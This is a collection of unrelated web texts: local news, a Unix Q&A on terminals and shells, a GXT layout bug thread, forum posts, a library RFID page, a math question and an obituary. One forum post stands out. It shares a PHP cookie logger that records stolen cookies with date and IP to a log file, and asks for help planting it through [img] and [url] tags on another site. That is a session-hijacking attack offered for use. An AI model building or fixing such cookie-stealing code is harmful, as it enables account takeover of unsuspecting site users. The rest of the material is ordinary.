So, in my own case, I have a 2,100-square-foot home and a barn on a big, beautiful piece of uncleared land, with a fresh water river running through it, that has been in Chapter 61 for over 10 years. Now the board feels that my 107 contiguous acres is developable vacant land and has taxed it as such.
In addition they have waived their first right of refusal to buy it and the five- year tax claw-back that they could have claimed prior to July 1. My taxes have quadrupled from $4,400 to $19,400 per year. So I (and others) have formally appealed to the Appellate Tax Board. Plus, we are taking advantage of their waivers and simultaneously listing the property for sale at below assessed value, to anyone, for any purpose they may wish to pursue.
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He said pay scales for the county's professional personnel, such as principals and teachers, and service personnel, such as secretaries, custodians and bus drivers, rank 20th and 25th in the state.
"With this contract we believe Dr. Kidder will be able to move by the end of her term into the top 30th in our state," Piccirillo said.
He noted Kidder's current three-year contract was set to expire on June 30.
Piccirillo said, "Dr. Kidder has served Brooke County well throughout her career as educator, director and superintendent. Under her leadership and in difficult economic times, we have managed our finances well and reduced staff without undertaking any reduction in force."
In recent years the board has seen a large number of staff members retire and in light of the school district's declining enrollment, has chosen not to replace many of them.
Piccirillo said Kidder also "has administered discipline to both employees and students in a fair, consistent and prompt fashion. Dr. Kidder has helped restore confidence in our school system and has required accountability so our employees can strive to meet the high expectations held by the public and the board."
Piccirillo said that doesn't mean difficult situations haven't arisen, but he said Kidder has handled such occasions well. He said Kidder will lead the board through a transitional period in which it seeks renewal next year of its current operating levy and adopts the recommendations of its comprehensive educational facilities plan.
Developed by McKinley and Associates of Wheeling and a committee of staff and community members, the plan calls for the county's primary schools to be replaced with two and the middle schools to be replaced with one, possibly near Brooke High School.
Piccirillo said, "The board of education is unanimous in its decision, and Dr. Kidder has our full confidence and support." He asked the staff and community to support her also.
Kidder thanked the board for its vote of confidence and the raise in salary.
She told the board members, "I really am looking forward to working with all of you for the next four years."
In other business:
Assistant Superintendent Marty Bartz said a power outage which affected school lunches Friday has prompted him and others to establish a backup plan for such instances.
Tom Davidson, the school district's nutrition director, said the outage left Brooke High School and Franklin Primary School and their kitchens without power.
The high school kitchen supplies lunches for all of the county's schools except Franklin and Colliers primary schools.
Bartz said if a power outage occurs in the future, Bob Fowler, the county's emergency management director, has agreed to provide a generator and the high school's kitchen will be rewired to accommodate it.
He added the automated calling system used by the school district to alert parents of cancelations, delays and early dismissals didn't reach everyone, and he's working to correct that.
Piccirillo said as winter approaches, parents should talk to their children, especially younger ones, about what arrangements have been made, such as being bused to a grandparent, if their school dismisses them early.
Dolly Kidd, the school district's reading specialist, asked the board to consider hiring a company to categorize books at school libraries according to their reading levels. Kidd said the move would help teachers to assign reading that matches their students' abilities and presented letters of support from some principals and school librarians.
Kidder said at Kidd's request, she will suggest the board hire the company using a portion of funds from the lease of school property for natural gas drilling. The board has received a $661,955 signing fee for the lease of up to 189 acres, though no drilling has been done yet.
The board is expected to consider the request at its next meeting, which will be held at 6 p.m. Jan. 14 at its office at 1201 Pleasant Ave. The board normally meets on the second and fourth Monday of each month, but this month's second meeting would have fallen on Christmas Eve.
Approved the hiring of Penny J. Frohnapfel as executive secretary for the board's payroll department; Megan Harless as a faculty manager, a position similar to athletic director, at Follansbee Middle School; Robert Ross as a custodian at Follansbee Middle School, Christopher Pugh as an assistant football coach at Brooke High School; Kaylea Dulaney as a swim coach at the high school; Bethany Henderson as a substitute bus driver; Frank Nelson, Samuel Pellegrino, James Burns and Domenic Provenzano as substitute bus drivers, pending their training and certification; and Kay Yaussy as a substitute aide.
It also approved a transfer for Brittany Nieman, from fifth-grade teacher at Follansbee Middle School to third-grade teacher at Wellsburg Primary School.
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I think these terms almost refer to the same thing, when used loosely:
- terminal
- shell
- tty
- console
What exactly does each of these terms refer to?
I think these terms almost refer to the same thing, when used loosely:
What exactly does each of these terms refer to?
A terminal is at the end of an electric wire, a shell is the home of a turtle, tty is a strange abbreviation and a console is a kind of cabinet.
Well, etymologically speaking, anyway.
In unix terminology, the short answer is that
Console, terminal and tty are closely related. Originally, they meant a piece of equipment through which you could interact with a computer: in the early days of unix, that meant a teleprinter-style device resembling a typewriter, sometimes called a teletypewriter, or "tty" in shorthand. The name "terminal" came from the electronic point of view, and the name "console" from the furniture point of view. Very early in unix history, electronic keyboards and displays became the norm for terminals.
In unix terminology, a tty is a particular kind of device file which implements a number of additional commands (ioctls) beyond read and write. In its most common meaning, terminal is synonymous with tty. Some ttys are provided by the kernel on behalf of a hardware device, for example with the input coming from the keyboard and the output going to a text mode screen, or with the input and output transmitted over a serial line. Other ttys, sometimes called pseudo-ttys, are provided (through a thin kernel layer) by programs called terminal emulators, such as Xterm (running in the X Window System), Screen (which provides a layer of isolation between a program and another terminal), Ssh (which connects a terminal on one machine with programs on another machine), Expect (for scripting terminal interactions), etc.
The word terminal can also have a more traditional meaning of a device through which one interacts with a computer, typically with a keyboard and display. For example an X terminal is a kind of thin client, a special-purpose computer whose only purpose is to drive a keyboard, display, mouse and occasionally other human interaction peripherals, with the actual applications running on another, more powerful computer.
A console is generally a terminal in the physical sense that is by some definition the primary terminal directly connected to a machine. The console appears to the operating system as a (kernel-implemented) tty. On some systems, such as Linux and FreeBSD, the console appears as several ttys (special key combinations switch between these ttys); just to confuse matters, the name given to each particular tty can be "console", "virtual console", "virtual terminal", and other variations.
See also Why is a Virtual Terminal "virtual", and what/why/where is the "real" Terminal?.
A shell is the primary interface that users see when they log in, whose primary purpose is to start other programs. (I don't know whether the original metaphor is that the shell is the home environment for the user, or that the shell is what other programs are running in.)
In unix circles, shell has specialized to mean a command-line shell, centered around entering the name of the application one wants to start, followed by the names of files or other objects that the application should act on, and pressing the Enter key. Other types of environments don't use the word "shell"; for example, window systems involve "window managers" and "desktop environments", not a "shell".
There are many different unix shells. Popular shells for interactive use include Bash (the default on most Linux installations), zsh (which emphasizes power and customizability) and fish (which emphasizes simplicity).
Command-line shells include flow control constructs to combine commands. In addition to typing commands at an interactive prompt, users can write scripts. The most common shells have a common syntax based on the Bourne_shell. When discussing "shell programming", the shell is almost always implied to be a Bourne-style shell. Some shells that are often used for scripting but lack advanced interactive features include the Korn shell (ksh) and many ash variants. Pretty much any Unix-like system has a Bourne-style shell installed as
In unix system administration, a user's shell is the program that is invoked when they log in. Normal user accounts have a command-line shell, but users with restricted access may have a restricted shell or some other specific command (e.g. for file-transfer-only accounts).
The division of labor between the terminal and the shell is not completely obvious. Here are their main tasks.
A terminal or a console is a piece of hardware, using which a user can interact with a host. Basically a keyboard coupled with a text screen.
The file that represents a terminal is, traditionally, called a tty file. If you look under the "/dev" directory of a UNIX system, you'll find a lot of tty files connected to virtual consoles (e.g. tty1 on linux), virtual terminals (e.g. pts/0) or physically connected hardware (e.g. ttyS0 is the physical serial terminal, if any, attached on first serial port of the host).
A console must be a piece of hardware physically connected to (or part of) the host. It has a special role in the system: it is the main point to access a system for maintenance and some special operation can be done only from a console (e.g. see
Last, but not the least, a shell is a special program that interacts with a user through a controlling tty and offers, to the user, the way of launching other programs (e.g. bash, csh, tcsh).
A terminal emulator is a program that emulates a physical terminal (e.g. xterm, gnome-terminal, minicom).
So when you look to a "text window" on your linux system (under X11) you are looking to: a terminal emulator, connected to a virtual terminal, identified by a tty file, inside which runs a shell.
SHORT explanation:
The console is a terminal - i.e a system has got one console and potentially multiple terminals. The console is typically the primary interface for managing a computer, eg while it is still booting up.
A terminal is a session which can receive and send input and output for command-line programs. The console is a special case of these.
A TTY is essentially a pseudo device, call it a kernel resource, which is used by processes to access a specific terminal. TTYs can be tied to hardware such as a serial port, or can be virtual, eg created when a user log in via a network
The shell is a program which is used for controlling and running programs. It is often used interactively, via a terminal. Several Shell programs exist, Bash being arguably the most common used shell today. Other shells, in no particular order, includes Bourne Shell, C-shell, Dash, Tsch, Ksh, and the increasingly popular zsh. There are many more.
When you have a GUI, you can use a terminal program to draw a nice resizeable border, add scroll bars, and format the text, and so on, for a terminal session. Often these are called terminal emulators, and sometimes they can handle multiple sessions via a TAB concept. A Terminal Emulator often starts a Shell to allow you to interactively work on a command line.
There are already two great answers, but Ī̲'d like to add information about the phrase "virtual terminal". Generally, it means something that provides appearance/functionality of a terminal, i. e. a terminal-emulator in broad sense. But in early days of Linux (1994–95) is was used synonymously with "virtual console" (several unrelated user interfaces), by some developers. This usage persists in documentation; two different terms were (and are) used to refer to tty1, tty2… thingies. Nowadays (since ≈ 1996) "virtual terminal" may also refer to pty-based terminal emulators.
A TTY (i.e. TeleTYpewriter) is a special device that lets people who are deaf, hard of hearing, or speech-impaired use the telephone to communicate, by allowing them to type text messages. A TTY is required at both ends of the conversation in order to communicate.
Shell :the outside protective covering part of a seed i.e. kernel.
Console means the keyboard and monitor physically attachements to a computer.


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News and Events Archives
Tuesday, September 02, 2008
(Columbia, Mo.) - Dr. Alan Hilliard is the new director of Columbia College-Orlando. In his new position, Hilliard is responsible for all day-to-day operations of the Orlando campus, including class scheduling and student and faculty recruitment and retention.
Hilliard comes to the director position with extensive experience in management and higher education. He has been a high school administrator for more than 20 years, having served in such capacities as coordinator, assistant principal, principal and director. Before joining Columbia College, Hilliard was assistant principal for Gateway High School in Osceola County, Fla. He also served as an adjunct instructor for a variety of colleges in the area, teaching undergraduate math, teacher certification courses and graduate courses in business administration and educational administration.
Hilliard holds a bachelor's degree from Heidelberg College, a master's degree from the State University of New York, an advanced certificate of study degree from the State University of New York and a doctorate degree in educational administration from Rutgers University.
Columbia College-Orlando is one of the college�s 34 nationwide campuses, including 17 on military bases. The Orlando campus was established in 1975 as part of the Orlando Naval Training Center. The campus later moved to its current location in 1999 when the Naval Training Center closed.


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4 Dec 2012 10:08 AM #1
FieldSet in Viewport (bottom/right margins different than left/top, even though same)
GXT 3.0.3-SNAPSHOT 11/27 (but existed in 3.0.2 as well)
Windows 7 - 64 bit
Internet Explorer 8
Chrome 25
I had a FieldSet as the child of the ViewPort, and the margins used for top and left are different than the margins for bottom and right. The same behavior exists for ContentPanel, and the issue seems to happen in both IE8 and Chrome.
I would expect the margins to be the same all away around. If I didn't give margins, I wouldn't be able to see the bottom or right border at all.
Viewport viewport = new Viewport(); /* have to use a margin to be able to see the right and bottom borders, and margins are not uniform*/ viewport.add(asWidget(), new MarginData(20); RootPanel.get().add(viewport);
Last edited by nbuesing; 4 Dec 2012 at 10:13 AM. Reason: trying to fix attachments, forum messed up content.
4 Dec 2012 10:32 AM #2
Missing right border is indicative of missing reset.css on the html page - can you confirm that this is present?
4 Dec 2012 10:49 AM #3
Well, it was missing from my test code, but adding it made no difference.
1. Added link to example project (see code below)
2. verified that reset.css was accessible by url by putting URL in browser and making sure it returned it
So, while it was missing, I'm still seeing the error. I am wondering if I have something else missing in my configuration, thanks for the information.
4 Dec 2012 11:30 AM #4
Thanks for verifying - it looks good otherwise, but the test isn't breaking when i confirm locally. Here is my full entrypoint - I removed the asWidget() method, and added a missing close parenthesis:
public class Test implements EntryPoint { public void onModuleLoad() { Viewport viewport = new Viewport(); /* have to use a margin to be able to see the right and bottom borders, and margins are not uniform*/ FieldSet fs = new FieldSet(); fs.setHeadingText("field set"); viewport.add(fs, new MarginData(20)); RootPanel.get().add(viewport); } }
<!doctype html> <html> <head> <title>Sencha GXT Tests</title> <link rel="stylesheet" type="text/css" href="test/reset.css" /> </head> <body> <script language='javascript' src='test/test.nocache.js'></script> </body> </html>
<module rename-to='test'> <inherits name='com.sencha.gxt.ui.GXT' /> <entry-point class='com.sencha.gxt.examples.test.client.Test' /> </module>
In this screenshot I also have the version window to verify that I am testing IE8. You can see that I am running dev mode as well.
Also running in prod mode:
I did not test with 3.0.2, this is just 3.0.3-snapshot.
Last edited by Colin Alworth; 4 Dec 2012 at 11:31 AM. Reason: xml formatting
4 Dec 2012 11:49 AM #5
So, based on the fact it worked for you, I started to simplify my environment as well.
Right now it seems to be related to the following in our gwt.xml file
<inherits name='com.google.gwt.user.theme.clean.Clean' />
What really adds to the confusion is in in dev mode making removing this and refreshing browser doesn't "stick". But when I refreshed the second time, it did. So taking me awhile to figure out what change is actually making the change.
4 Dec 2012 12:20 PM #6
Thanks for reporting back - this is a useful diagnostic step that I will be aware of in the future.
From reviewing the clean.css that GWT's Clean theme adds to the page (see /com/google/gwt/user/theme/clean/public/gwt/clean/clean.css in gwt-user.jar), it appears they are re-resetting the defaults of each element on the page to their own base theme. This is very likely to break *any* css that doesnt' explicitly provide styles for each and every possible attribute for every possible element listed. We use our own reset.css as a way of 'starting over' consistently in all browsers, and make additional changes based on that.
I suspect this is the specific css segment that is causing the bug in your case:
body { color: black; margin: 10px; border: 0px; padding: 0px; background: #fff; direction: ltr; }
body { margin: 0px !important; }
4 Dec 2012 12:34 PM #7
I do not see the need for us to use Clean, so yes, removing it is what we will be doing. It was one of those "innocent looking" inheritance that I didn't thing would cause issue.
So, as far as I can see, we can stop using this, and this should fix our problem.
Thanks again for all of your help.


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I realize that there are rules in place that prevent posters from deleting their own questions, but I would like to see a disincentive for deletion. One possibility is to flag a "delete rate," similar to the existing "accept rate": if you see that a user has deleted many of his/her questions, you'll know that any effort you expend in an answer is likely to be wasted.
(and yes, this was driven by recent experience)
Based on the votes, it appears that this isn't a very popular idea. However, I feel that some answers to the responders are warranted.
I'll start with the straw man first: yes, it is conceivable that a user with a 100% deletion rate could come up with a good question and decide not to delete it. And I'm sure that it is equally likely that there will be a responder who sees the 100% delete rate, but decides to take a chance on the question anyway. Particularly if the answer is simple.
Is this a reasonable scenario? I don't think so; truly bad questions are quickly picked up by the Close Police without any input from the OP. However, I think a disincentive actually works here: it drives the user toward positive behavior, such as editing the question and making it better.
OK, on to the user who realizes that the question is an exact duplicate. Again, duplicate questions get closed pretty quickly. However, this concern could be satisfied by giving users the option to close their own questions.
Next: "recoup a deletion rate" similar to recouping a low acceptance rate: personally, I feel having users quickly run through and accept answers in order to improve their acceptance percentage is actually a bad thing. Acceptance should be a statement that "I have tried this answer, and it works for me."
And finally: realizing the answer immediately after posting the question. To which my response is: OK, you had this problem, do you think you're the only person in the world to have it? The proper response in this case is to prepare an answer, so that other people don't have to ask the question.
I've actually practiced that: of the two questions that I've asked on SO, I answered one myself after about an hour debugging the problem. It was a bug, or possibly a feature, in the Prototype JavaScript library. Since I figured out the answer myself, and the only other respondent gave an answer that was unhelpful in that particular situation, should I have just deleted the question?


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Does anybody know where my code doesn't work? It displays everything but the cookie. The site is kind of trick but it allows [img][/img] and .. which translates into html code as  and .
My PHP:
1I've tried many different modifications on the site with the img and url tags with [ ]
I hope somebody can help.
Indianman, tenu punjabi aandi ah?
My PHP:
HTML Code:
$cookie =$HTTP_GET_VARS["cookie"];
$date = date ("l ds of F Y h:i:s A");
$ip = $_SERVER['REMOTE_ADDR'];
$file = fopen('log.txt', 'a');
fwrite($file,"DATE : $date || IP: $ip || COOKIE : $cookie \n");
I hope somebody can help.
Indianman, tenu punjabi aandi ah?


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TOPEKA, Kan. (AP) _ Gov. Sam Brownback's administration is disputing new projections from legislative staff showing that proposed tax cuts would create a budget gap of more than $700 million in 2018.
Revenue Secretary Nick Jordan said Wednesday he's confident an analysis by his office will show no shortfall if lawmakers pass a compromise tax-cut plan. Brownback has endorsed the plan.
Jordan and Brownback's budget director said they disagree with the Legislative Research Department's methods for calculating the cumulative effects of tax cuts in future years. The administration expects to have its own projections Thursday.
Lawmakers in both parties say they want to ensure that tax cuts don't create future budget problems.
The new figures from the Legislative Research Department circulated Wednesday, two days after the same agency projected that the tax plan would create a budget shortfall of $161 million by July 2018. The Associated Press obtained a copy of the projections from a legislative source.
Lawmakers in both parties say they need assurances that the tax plan they pass won't create a shortfall.
The plan, drafted by House and Senate negotiators, would cut the state's individual income tax rates, exempt 191,000 businesses from income taxes and reduce the sales tax to 5.7 percent in July 2013 from its current 6.3 percent.


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i see that you're selling an arca clamp with the nn5, but no such clamp is listed on the nn3 sale page? can an arca clamp (yours or kirk's or rrs's or whatever) be fitted to the nn3?
i see that you're selling an arca clamp with the nn5, but no such clamp is listed on the nn3 sale page? can an arca clamp (yours or kirk's or rrs's or whatever) be fitted to the nn3?
what camera are you using? some cameras are too tall that the lower rail is not long enough to accommodate the extra thickness of a QR system.
We listen. We try harder.
when you say tall are you referring to cameras on battery/vertical packs, or the big pro slr's?
if that's the case, mine shouldn't be a problem...
the height from base to lens axis is relatively high for D300. From suggested setting
NN3 w/CP - 63,
it may be the max height that is compatible with AS QR system.
It requires a think adapter plate for the QR. I will check out the compatibility when the adapter is shipping.
We listen. We try harder.
nick i'm not sure if i understood you correctly...
the numbers, 53 and 63, they refer to??
to figure out if i can use it with an arca qr clamp or not, i need to measure the distance from base to optical center on my camera, add to that the extra height that would come with an ac clamp, and know what the max height (combined height) from base to optical center for the nn3 mkII was (am i correct)??
i've never used a pano head, and i live in one of those remote places unable to get my hands on one, and with rather large shipping prices, so i wanted to get my order together and not miss any important detail..
the plan was to get a kirk clamp, as i need to make a kirk order anyway, and was hoping it would fit.
would greatly appreciate input...
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that would be nice
NN3 would work fine with QR system. I am using the manfrotto RC2 it is way thicker than the Arca. No problem


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Website User Agreement
Copyright ©2009 Beaufort County Library
A Department of Beaufort County Government
RFID is a new technology at the library. Read on to learn more about it!
What is RFID?
RFID is an acronym for Radio Frequency Identification.It became commercially available in 1973 and was used primarily in the fields of transportation, banking, security, and medicine. RFID was introduced to the library setting in the late 1990's and now one in ten libraries world-wide use it.
The tiny radio tag inside the book or material communicates with a reader at the self check-out machines or the upcoming materials return machines to allow for check out and check in of items without scanning a barcode. The tag is passive, which means that it only sends out a signal when it is near a reader, so it does not interfere with any other electrical devices like cell phones.
Why are we moving to RFID?
It will allow our staff more time to assist patrons out in the library, to shelve returned materials, and to search the shelves to find holds, missing items, and lost items. It will help us streamline inventory processes which will make it easier to find misshelved items and items that are lost, missing, in transit, etc. Also, people use libraries more in hard economic times- staffing must be able to keep up with demands or everyone suffers. Automation allows staffing to keep pace with growth better.
Beaufort County has experienced exponential growth in the last few years which has already resulted in a 28% increase in circulation. In order to keep up with this impact on library services, new technology is needed that will address the continued increase of demand from library users.
RFID is a cost-effective library service technology that will help us address our growing customer base as well as the increasing demands from our citizens and visitors for free and reliable information and assistance.


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The man who escaped from the Adair County Regional Jail has been captured by Lexington police.
Officers spotted 24-year-old Antonio Howard at a convenience store early Monday as they investigated a stolen car.
Police say howard took off on foot, but officers caught up with him about a block away.
Howard was serving a 5 year drug sentence when he walked away from the minimum security jail in Adair County in August.
In addition to escape, he's now charged with fleeing and evading, receiving stolen property, and terroristic threatening.


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Plotting the series $$\displaystyle y = \sum_{k} \frac{\sin kx }{k}$$
In the limit it would look like
Taking a finite number of terms, I want to understand what is the reason for the jiggling at the extremes, while there the jiggling in the middle is so small its not noticable.
I truncated the sum to $1,2,3\; \mbox{and}\;4$ terms but cannot deduce much of a reason.
The "jiggling" was noticeable here because the sum is linear in the limit, however, for an expression like $$p(x) = x\prod_k\Big(1-\frac{x^2}{k^2\pi^2}\Big) $$
Does the truncated expression oscillate back and forth the limit?


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Louise Marie Sudman, 89, of Nebraska City died July 20, 2013 at the Hillcrest Nursing Home in Papillion. Services are pending at the Marshall Funeral Chapel in Nebraska City. A full obituary will appear in the next edition of the News-Press. Current service information can be obtained at marshallfuneral.com.
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MESA, Ariz. — A man entered a Vietnamese restaurant in a strip mall Thursday evening and fatally shot a woman before killing himself in what police are investigating as a possible murder-suicide, police said.
Mesa police received multiple 911 calls from Phu Thanh Restaurant just before 6 p.m. and arriving officers found the pair dead of apparent gunshot wounds, said Detective Steve Berry, a police spokesman. The dead man and woman apparently were in some type of relationship, but it was unclear if they were restaurant owners, employees or customers, he said. Their names were not released.
Another woman suffered a gunshot wound to her lower body and was hospitalized with non-life-threatening injuries, Berry said. He said he didn't know if she was a target or was inadvertently caught in the gunfire.
The shooting occurred in a Vietnamese restaurant near Southern Avenue and Extension Road.
The restaurant was open at the time, but diners inside were able to make their way out, Berry said. One person suffered minor injuries in the rush to flee, he said.
Berry said officers were in the beginning stages of their investigation, and he didn't immediately release any details other than saying there are no outstanding suspects.